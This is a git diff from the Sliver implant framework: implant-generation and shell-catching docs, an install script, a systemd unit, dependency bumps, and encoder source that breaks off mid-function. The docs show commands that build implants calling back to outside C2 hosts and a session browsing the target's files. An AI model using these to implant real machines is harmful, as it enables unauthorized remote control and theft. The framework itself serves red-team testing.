In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables).
|
||||
|
||||
#### Linux
|
||||
|
||||
```
|
||||
apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
```
|
||||
|
||||
#### MacOS
|
||||
|
||||
```
|
||||
brew install mingw-w64
|
||||
```
|
||||
|
||||
__Note:__ On MacOS you'll likely have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
|
||||
|
||||
### Metasploit Setup (Optional)
|
||||
|
||||
We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects version 5 or later.
|
||||
|
||||
## Generating Implants
|
||||
|
||||
Generating implants is done using the `generate` command, you must specify at least one C2 endpoint using `--mtls`, `--wg`, `--http`, or `--dns`. Note that when an implant attempts to connect to an endpoint specified using `--http` it will try both HTTPS and then HTTP (if HTTPS fails). We recommend using mTLS (`--mtls`) or WireGuard (`--wg`) whenever possible. You can also specify an output directory with `--save`, by default the implant will be saved to the current working directory.
|
||||
|
||||
```
|
||||
sliver > generate --mtls example.com --save /Users/moloch/Desktop
|
||||
|
||||
[*] Generating new windows/amd64 Sliver binary
|
||||
[*] Build completed in 00:10:16
|
||||
[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
|
||||
```
|
||||
|
||||
Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. WARNING: Some commands/features may not work on "unsupported" platforms.
|
||||
|
||||
```
|
||||
sliver > generate --mtls example.com --save /Users/moloch/Desktop --skip-symbols --os mac
|
||||
|
||||
[*] Generating new darwin/amd64 Sliver binary
|
||||
[!] Symbol obfuscation is disabled
|
||||
[*] Build completed in 00:00:03
|
||||
[*] Sliver binary saved to: /Users/moloch/Desktop/PROPER_ANTHONY
|
||||
```
|
||||
|
||||
The server will also assign codenames to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these codenames will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `slivers` command:
|
||||
|
||||
```
|
||||
sliver > slivers
|
||||
|
||||
Name OS/Arch Debug Format
|
||||
==== ======= ===== ======
|
||||
CAUTIOUS_PANPIPE darwin/amd64 false EXECUTABLE
|
||||
LATE_SUBCOMPONENT windows/amd64 false SHARED_LIB
|
||||
RUBBER_PRINTER windows/amd64 true SHARED_LIB
|
||||
RACIAL_SPECTACLES darwin/amd64 false EXECUTABLE
|
||||
MATHEMATICAL_SASH darwin/amd64 true SHARED_LIB
|
||||
MUSHY_TRADITIONALISM windows/amd64 false SHARED_LIB
|
||||
SICK_SPY darwin/amd64 false EXECUTABLE
|
||||
```
|
||||
|
||||
If you need to re-download a previously generated implant use the `regenerate` command, note that positional arguments (the implant name) comes after the command flags (e.g., `--save`):
|
||||
|
||||
```
|
||||
sliver > regenerate --save /Users/moloch/Desktop/ NEW_GRAPE
|
||||
|
||||
[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
|
||||
```
|
||||
|
||||
#### Additional Details
|
||||
|
||||
For addition details about each C2 please see:
|
||||
* [HTTP(S) C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2)
|
||||
* [DNS C2](https://github.com/BishopFox/sliver/wiki/DNS-C2)
|
||||
|
||||
## Getting Shells
|
||||
|
||||
Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a listener started with `https`). You can use the `jobs` command to view and manage listeners running in the background.
|
||||
|
||||
```
|
||||
sliver > mtls
|
||||
|
||||
[*] Starting mTLS listener ...
|
||||
[*] Successfully started job #1
|
||||
|
||||
sliver > jobs
|
||||
|
||||
ID Name Protocol Port
|
||||
== ==== ======== ====
|
||||
1 mTLS tcp 8888
|
||||
```
|
||||
|
||||
In this example we're using Mutual TLS, the required certificates for setting up and securing this connection have already been generated in the background and the client certificate pair was embedded into the implant at compile-time. So to get a shell you just have to run the binary on the target.
|
||||
|
||||
```
|
||||
[*] Session #1 PROPER_ANTHONY - 127.0.0.1:49929 (narvi.local) - darwin/amd64
|
||||
|
||||
sliver > use 1
|
||||
|
||||
[*] Active sliver PROPER_ANTHONY (1)
|
||||
|
||||
sliver (PROPER_ANTHONY) > ls
|
||||
|
||||
/Users/moloch/Desktop
|
||||
=====================
|
||||
.DS_Store 6.0 KiB
|
||||
.localized 0 B
|
||||
PROPER_ANTHONY 6.3 MiB
|
||||
```
|
||||
|
||||
|
||||
## Multiple Domains/Protocols
|
||||
|
||||
You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
|
||||
|
||||
```
|
||||
sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
|
||||
```
|
||||
|
||||
Eventually we'll add a feature to manually specify the fallback protocols, or you can add this feature and send up a PR :).
|
||||
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
---
|
||||
layout: default
|
||||
title: About
|
||||
permalink: /about/
|
||||
---
|
||||
|
||||
This is the base Jekyll theme. You can find out more info about customizing your Jekyll theme, as well as basic Jekyll usage documentation at [jekyllrb.com](https://jekyllrb.com/)
|
||||
|
||||
You can find the source code for Minima at GitHub:
|
||||
[jekyll][jekyll-organization] /
|
||||
[minima](https://github.com/jekyll/minima)
|
||||
|
||||
You can find the source code for Jekyll at GitHub:
|
||||
[jekyll][jekyll-organization] /
|
||||
[jekyll](https://github.com/jekyll/jekyll)
|
||||
|
||||
|
||||
[jekyll-organization]: https://github.com/jekyll
|
||||
@@ -0,0 +1,11 @@
|
||||
---
|
||||
layout: default
|
||||
---
|
||||
|
||||
<ul>
|
||||
{% for post in site.posts %}
|
||||
<li>
|
||||
<a href="{{ post.url }}">{{ post.title }}</a>
|
||||
</li>
|
||||
{% endfor %}
|
||||
</ul>
|
||||
@@ -1,4 +0,0 @@
|
||||
# Sliver
|
||||
|
||||
Implant framework
|
||||
|
||||
+100
@@ -0,0 +1,100 @@
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
if [ -n "$(command -v yum)" ]
|
||||
then
|
||||
sudo -S -p '' yum -y install zip unzip curl gcc gcc-c++ make mingw64-gcc
|
||||
fi
|
||||
|
||||
if [ -n "$(command -v apt-get)" ]
|
||||
then
|
||||
DEBIAN_FRONTEND=noninteractive sudo -S -p '' apt-get install -yqq \
|
||||
zip unzip curl build-essential \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
fi
|
||||
|
||||
# Curl
|
||||
if ! command -v curl &> /dev/null
|
||||
then
|
||||
echo "curl could not be found"
|
||||
exit 1
|
||||
fi
|
||||
# Awk
|
||||
if ! command -v awk &> /dev/null
|
||||
then
|
||||
echo "awk could not be found"
|
||||
exit 1
|
||||
fi
|
||||
# Zip
|
||||
if ! command -v zip &> /dev/null
|
||||
then
|
||||
echo "zip could not be found"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
cd $HOME
|
||||
echo "Running from $HOME"
|
||||
|
||||
#
|
||||
# Download and Unpack Sliver Server
|
||||
#
|
||||
ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
|
||||
SLIVER_SERVER_ZIP='sliver-server_linux.zip'
|
||||
SLIVER_CLIENT_ZIP='sliver-client_linux.zip'
|
||||
SLIVER_SERVER='sliver-server'
|
||||
SLIVER_CLIENT='sliver-client'
|
||||
|
||||
|
||||
for URL in $ARTIFACTS
|
||||
do
|
||||
if [[ "$URL" == *"$SLIVER_SERVER_ZIP"* ]]; then
|
||||
echo "Downloading $URL"
|
||||
curl --silent -L $URL --output $(basename $URL)
|
||||
fi
|
||||
if [[ "$URL" == *"$SLIVER_CLIENT_ZIP"* ]]; then
|
||||
echo "Downloading $URL"
|
||||
curl --silent -L $URL --output $(basename $URL)
|
||||
fi
|
||||
done
|
||||
|
||||
if test -f "$SLIVER_SERVER_ZIP"; then
|
||||
unzip -o $SLIVER_SERVER_ZIP -d $HOME
|
||||
rm -f $SLIVER_SERVER_ZIP
|
||||
else
|
||||
exit 2
|
||||
fi
|
||||
|
||||
if test -f "$HOME/$SLIVER_SERVER"; then
|
||||
chmod 755 $HOME/$SLIVER_SERVER
|
||||
$HOME/$SLIVER_SERVER unpack --force
|
||||
else
|
||||
exit 3
|
||||
fi
|
||||
|
||||
if test -f "$SLIVER_CLIENT_ZIP"; then
|
||||
unzip -o $SLIVER_CLIENT_ZIP -d $HOME
|
||||
rm -f $SLIVER_CLIENT_ZIP
|
||||
else
|
||||
exit 2
|
||||
fi
|
||||
|
||||
if test -f "$HOME/$SLIVER_CLIENT"; then
|
||||
chmod 755 $HOME/$SLIVER_CLIENT
|
||||
cp -vv $HOME/$SLIVER_CLIENT /usr/local/bin/sliver
|
||||
chmod 755 /usr/local/bin/sliver
|
||||
else
|
||||
exit 3
|
||||
fi
|
||||
|
||||
# systemd
|
||||
curl -o ./sliver.service https://sliver.sh/sliver.service
|
||||
cp ./sliver.service /etc/systemd/system/sliver.service
|
||||
chown root:root /etc/systemd/system/sliver.service
|
||||
chmod 600 /etc/systemd/system/sliver.service
|
||||
systemctl start sliver
|
||||
rm -f ./sliver.service
|
||||
|
||||
# generate local configs
|
||||
mkdir -p $HOME/.sliver-client/configs
|
||||
/root/sliver-server operator --name $USER --lhost localhost --save $HOME/.sliver-client/configs
|
||||
chown -R $USER:$USER $HOME/.sliver-client/
|
||||
@@ -0,0 +1,14 @@
|
||||
[Unit]
|
||||
Description=Sliver
|
||||
After=network.target
|
||||
StartLimitIntervalSec=0
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
Restart=on-failure
|
||||
RestartSec=3
|
||||
User=root
|
||||
ExecStart=/root/sliver-server daemon
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
+1
-1
@@ -19,7 +19,7 @@
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.16.5"
|
||||
GO_VER="1.16.6"
|
||||
GARBLE_VER="1.16.7"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
|
||||
@@ -8,19 +8,18 @@ replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311
|
||||
require (
|
||||
github.com/AlecAivazis/survey/v2 v2.2.2
|
||||
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
|
||||
github.com/Microsoft/go-winio v0.4.16 // indirect
|
||||
github.com/alecthomas/chroma v0.8.1
|
||||
github.com/binject/go-donut v0.0.0-20201215224200-d947cf4d090d
|
||||
github.com/cheggaaa/pb/v3 v3.0.5
|
||||
github.com/desertbit/closer/v3 v3.1.2 // indirect
|
||||
github.com/desertbit/columnize v2.1.0+incompatible
|
||||
github.com/desertbit/go-shlex v0.1.1
|
||||
github.com/desertbit/grumble v1.1.1
|
||||
github.com/fatih/color v1.12.0
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/gofrs/uuid v3.3.0+incompatible
|
||||
github.com/golang/protobuf v1.5.2
|
||||
github.com/google/uuid v1.2.0
|
||||
github.com/gorilla/mux v1.8.0
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
|
||||
|
||||
@@ -17,8 +17,8 @@ github.com/AlecAivazis/survey/v2 v2.2.2/go.mod h1:9FJRdMdDm8rnT+zHVbvQT2RTSTLq0T
|
||||
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d h1:uq6FM7b88vkNEqwjyP2mK6oL8cymY5b75Luu6ADTStY=
|
||||
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d/go.mod h1:rJLtHgGUqTxJbfg+b+LjWBBPuYUzFFza1LXFhrzfxHA=
|
||||
github.com/Binject/debug v0.0.0-20200621050044-63af8e405111/go.mod h1:6WgJ7mEG7ngJkNwwDkEVreDk2dPGg3oqdI6OEWaeDNg=
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 h1:8kQNJC9AxAaNs0JkXnWUfbNeDnIO1QLYYWjYqC6JEE4=
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf h1:Cx4YJvjPZD91xiffqJOq8l3j1YKcvx3+8duqq7DX9gY=
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 h1:T8z8Wz/fqaPPANF8Unv4LjWLoa0TAvsjYAsRpvSkOqs=
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563/go.mod h1:HMbzsKPz1sF7H4Hmeovh+d2PH2iKPYpAB4XMOVz8wmM=
|
||||
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
|
||||
@@ -85,15 +85,12 @@ github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d h1:hmOGJg3cq5XK2aMs7R4kXXVSHqHMaC5hI5fwkX7V2zE=
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d/go.mod h1:q72QzdO6OUjwTqnLCFJczIQ7GsBa4ffzkQiQcq6rVTY=
|
||||
github.com/desertbit/closer/v3 v3.0.1/go.mod h1:AAC4KRd8DC40nwvV967J/kDFhujMEiuwIKQfN0IDxXw=
|
||||
github.com/desertbit/closer/v3 v3.1.2 h1:a6+2DmwIcNygW04XXWYq+Qp2X9uIk9QbZCP9//qEkb0=
|
||||
github.com/desertbit/closer/v3 v3.1.2/go.mod h1:AAC4KRd8DC40nwvV967J/kDFhujMEiuwIKQfN0IDxXw=
|
||||
github.com/desertbit/columnize v2.1.0+incompatible h1:h55rYmdrWoTj7w9aAnCkxzM3C2Eb8zuFa2W41t0o5j0=
|
||||
github.com/desertbit/columnize v2.1.0+incompatible/go.mod h1:5kPrzQwKbQ8E5D28nvTVPqIBJyj+8jvJzwt6HXZvXgI=
|
||||
github.com/desertbit/go-shlex v0.1.1 h1:c65HnbgX1QyC6kPL1dMzUpZ4puNUE6ai/eVucWNLNsk=
|
||||
github.com/desertbit/go-shlex v0.1.1/go.mod h1:Qbb+mJNud5AypgHZ81EL8syOGaWlwvAOTqS7XmWI4pQ=
|
||||
github.com/desertbit/grumble v1.0.8 h1:pD54tsYbtCrHZk/67Hcx2ybQT6TZQ/AV0P8ZGsDC2X4=
|
||||
github.com/desertbit/grumble v1.0.8/go.mod h1:FIKWbAImZ0OUe/IrJ67+WKh7xqOrNNlDtmJUNkpQJ+s=
|
||||
github.com/desertbit/grumble v1.1.1 h1:1wxy6ka1aqbtA3kZIHaPfB/DD91HSM2m4Kx2QIIGfpE=
|
||||
github.com/desertbit/grumble v1.1.1/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
|
||||
github.com/desertbit/readline v1.5.1 h1:/wOIZkWYl1s+IvJm/5bOknfUgs6MhS9svRNZpFM53Os=
|
||||
@@ -110,7 +107,6 @@ github.com/envoyproxy/go-control-plane v0.9.9-0.20210217033140-668b12f5399d/go.m
|
||||
github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
|
||||
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
|
||||
github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU=
|
||||
github.com/fatih/color v1.10.0 h1:s36xzo75JdqLaaWoiEHk767eHiwo0598uUxyfiPkDsg=
|
||||
github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
|
||||
github.com/fatih/color v1.12.0 h1:mRhaKNwANqRgUBGKmnI5ZxEk7QXmjQeCcuYFMX2bfcc=
|
||||
github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
|
||||
@@ -185,14 +181,12 @@ github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgf
|
||||
github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
|
||||
github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q=
|
||||
github.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8=
|
||||
github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA=
|
||||
github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
|
||||
github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I=
|
||||
github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
|
||||
github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80=
|
||||
github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60=
|
||||
github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM=
|
||||
github.com/hashicorp/go-multierror v1.0.0 h1:iVjPR7a6H0tWELX5NxNe7bYopibicUzc7uPribsnS6o=
|
||||
github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk=
|
||||
github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA=
|
||||
github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo=
|
||||
@@ -321,7 +315,6 @@ github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hd
|
||||
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
|
||||
github.com/mattn/go-isatty v0.0.9/go.mod h1:YNRxwqDuOph6SZLI9vUUz6OYw3QyUt7WiY2yME+cCiQ=
|
||||
github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE=
|
||||
github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY=
|
||||
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||
github.com/mattn/go-isatty v0.0.13 h1:qdl+GuBjcsKKDco5BsxPJlId98mSWNKqYA+Co0SC1yA=
|
||||
github.com/mattn/go-isatty v0.0.13/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||
@@ -551,7 +544,6 @@ golang.org/x/sys v0.0.0-20200420163511-1957bb5e6d1f/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201101102859-da207088b7d1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
@@ -561,7 +553,6 @@ golang.org/x/sys v0.0.0-20210315160823-c6e025ad8005/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20210316164454-77fc1eacc6aa/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1 h1:SrN+KX8Art/Sf4HNj6Zcz06G7VEz+7w9tdXTPOZ7+l4=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22 h1:RqytpXGR1iVNX7psjB3ff8y7sNFinVFvkx1c8SjBkio=
|
||||
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
|
||||
@@ -0,0 +1,19 @@
|
||||
Implant
|
||||
========
|
||||
|
||||
This directory contains the code for Sliver's implant, implant source code is dynamically
|
||||
rendered at runtime via the `generate` command. The code generation inserts the per-binary
|
||||
values such as X.509 certificates, etc. and compiles it to produce a binary.
|
||||
|
||||
The implant code contains a lot of platform specific code too, which varies the features
|
||||
that will be supported on different platforms.
|
||||
|
||||
Platform agnostic code is implemented in `_default.go` files, and can be compiled for any
|
||||
valid Go compiler target but only contains very generic commands/features.
|
||||
|
||||
|
||||
### Adding Implant Features
|
||||
|
||||
Simply adding new files to this directory will not work (but you can edit existing files).
|
||||
In order to add new features you'll need to add the code to this directory AND update the
|
||||
`server/generate/srcfiles.go` which contains a list of files the server should render.
|
||||
@@ -0,0 +1,42 @@
|
||||
package encoders
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/base32"
|
||||
)
|
||||
|
||||
// Base32EncoderID - EncoderID
|
||||
const Base32EncoderID = 65
|
||||
|
||||
// Base32 Encoder
|
||||
type Base32 struct{}
|
||||
|
||||
var base32Alphabet = "ab1c2d3e4f5g6h7j8k9m0npqrtuvwxyz"
|
||||
var sliverBase32 = base32.NewEncoding(base32Alphabet)
|
||||
|
||||
// Encode - Base32 Encode
|
||||
func (e Base32) Encode(data []byte) []byte {
|
||||
return []byte(sliverBase32.EncodeToString(data))
|
||||
}
|
||||
|
||||
// Decode - Base32 Decode
|
||||
func (e Base32) Decode(data []byte) ([]byte, error) {
|
||||
return sliverBase32.DecodeString(string(data))
|
||||
}
|
||||
@@ -0,0 +1,210 @@
|
||||
package encoders
|
||||
|
||||
/*
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2019 Shawn Wang <[email protected]>
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
-------------------------------------------------------------------------------
|
||||
|
||||
Modifications by moloch to work with Sliver
|
||||
|
||||
*/
|
||||
|
||||
import (
|
||||
"math/bits"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
const (
|
||||
base = 62
|
||||
compactMask = 0x1E // 00011110
|
||||
mask5bits = 0x1F // 00011111
|
||||
)
|
||||
|
||||
// Base62EncoderID - EncoderID
|
||||
const Base62EncoderID = 43
|
||||
|
||||
// Base62 Encoder
|
||||
type Base62 struct{}
|
||||
|
||||
var base62Alphabet = "aBCDEFGHIJKLMNOPQRSTUVWXYZAbcdefghijklmnopqrstuvwxyz0123456789"
|
||||
|
||||
// Encode - Base62 Encode
|
||||
func (e Base62) Encode(data []byte) []byte {
|
||||
return []byte(NewEncoding(base62Alphabet).EncodeToString(data))
|
||||
}
|
||||
|
||||
// Decode - Base62 Decode
|
||||
func (e Base62) Decode(data []byte) ([]byte, error) {
|
||||
return NewEncoding(base62Alphabet).DecodeString(string(data))
|
||||
}
|
||||
|
||||
type Base62Encoder struct {
|
||||
encode [base]byte
|
||||
decodeMap [256]byte
|
||||
}
|
||||
|
||||
func NewEncoding(encoder string) *Base62Encoder {
|
||||
if len(encoder) != base {
|
||||
panic("encoding alphabet is not 62-bytes long")
|
||||
}
|
||||
for i := 0; i < len(encoder); i++ {
|
||||
if encoder[i] == '\n' || encoder[i] == '\r' {
|
||||
panic("encoding alphabet contains newline character")
|
||||
}
|
||||
}
|
||||
|
||||
e := new(Base62Encoder)
|
||||
copy(e.encode[:], encoder)
|
||||
for i := 0; i < len(e.decodeMap); i++ {
|
||||
e.decodeMap[i] = 0xFF
|
||||
}
|
||||
for i := 0; i < len(encoder); i++ {
|
||||
e.decodeMap[encoder[i]] = byte(i)
|
||||
}
|
||||
return e
|
||||
}
|
||||
|
||||
func (enc *Base62Encoder) Encode(src []byte) []byte {
|
||||
if len(src) == 0 {
|
||||
return []byte{}
|
||||
}
|
||||
encoder := newEncoder(src)
|
||||
return encoder.encode(enc.encode[:])
|
||||
}
|
||||
|
||||
func (enc *Base62Encoder) EncodeToString(src []byte) string {
|
||||
ret := enc.Encode(src)
|
||||
return string(ret)
|
||||
}
|
||||
|
||||
type encoder struct {
|
||||
b []byte
|
||||
pos int
|
||||
}
|
||||
|
||||
func newEncoder(src []byte) *encoder {
|
||||
return &encoder{
|
||||
b: src,
|
||||
pos: len(src) * 8,
|
||||
}
|
||||
}
|
||||
|
||||
func (enc *encoder) next() (byte, bool) {
|
||||
var i, pos int
|
||||
var j, blen byte
|
||||
pos = enc.pos - 6
|
||||
if pos <= 0 {
|
||||
pos = 0
|
||||
blen = byte(enc.pos)
|
